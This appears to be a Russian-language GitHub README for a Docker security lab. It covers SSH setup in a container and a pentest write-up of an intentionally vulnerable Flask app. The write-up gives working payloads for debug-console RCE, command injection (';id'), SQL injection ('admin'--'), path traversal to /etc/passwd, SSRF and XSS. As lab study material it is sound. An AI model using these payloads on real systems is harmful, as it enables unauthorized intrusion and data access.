Skip to content

Latest commit

 

History

History
107 lines (80 loc) · 3.33 KB

File metadata and controls

107 lines (80 loc) · 3.33 KB

docker-security-lab

Задание 1

Мое окружение OS: Windows 11 Docker Desktop 4.74.0 Образ: winebrute/testcase1 (Ubuntu 24.04.3 LTS)

  1. Запуск контейнера
docker pull winebrute/testcase1
docker run -it winebrute/testcase1 /bin/bash
  1. Создание пользователя
useradd -m -s /bin/bash testuser
passwd testuser
  1. SSH
service ssh start
ssh testuser@localhost

Для подключения с хост-машины контейнер запускается с пробросом порта: docker run -it -p 2222:22 winebrute/testcase1 /bin/bash ssh testuser@localhost -p 2222

Результат результат

Задание 2

Мое окружение Windows 11, Docker Desktop 4.74.0 Запуск: docker run -p 5000:5000 winebrute/testcase2 Сервер: Flask / Werkzeug 3.1.3 / Python 3.9.24, debug mode on

Далее перебираем через ffuf:

ffuf -u http://localhost:5000/FUZZ -w common.txt

и находим 8 эндпоинтов: /admin, /console, /fetch, /help, /login, /ping, /readfile, /search. image

Теперь об уязвимостях:

  1. RCE - Werkzeug Debug Console Приложение запущено с debug=True, консоль /console открыта публично. PIN-код виден в stdout контейнера: 114-684-599. После ввода PIN выполняется произвольный Python-код:
__import__('os').popen('id').read()
# uid=0(root) gid=0(root) groups=0(root)

image

  1. Command Injection /ping конкатенирует параметр host в системный вызов без санитизации:
GET /ping?host=127.0.0.1;id
→ uid=0(root) gid=0(root) groups=0(root)

image

  1. SQL Injection /login уязвим к инъекции в поле username:
POST /login
username=admin'--&password=anything
Welcome admin! Admin: True

image

  1. Path Traversal /readfile пропускает ../ без фильтрации: GET /readfile?filename=../../../../etc/passwd
This is a test file

image

  1. SSRF /fetch выполняет запрос по произвольному URL: GET /fetch?url=http://127.0.0.1:5000/admin Fetched: Invalid token: Not enough segments image

  2. Reflected XSS /search отражает ввод в HTML без экранирования:

Search Results for: test' OR '1'='1

image

  1. Information Disclosure Заголовок Server: Werkzeug/3.1.3 Python/3.9.24 раскрывает стек PIN отладчика в stdout Полные стек-трейсы при ошибках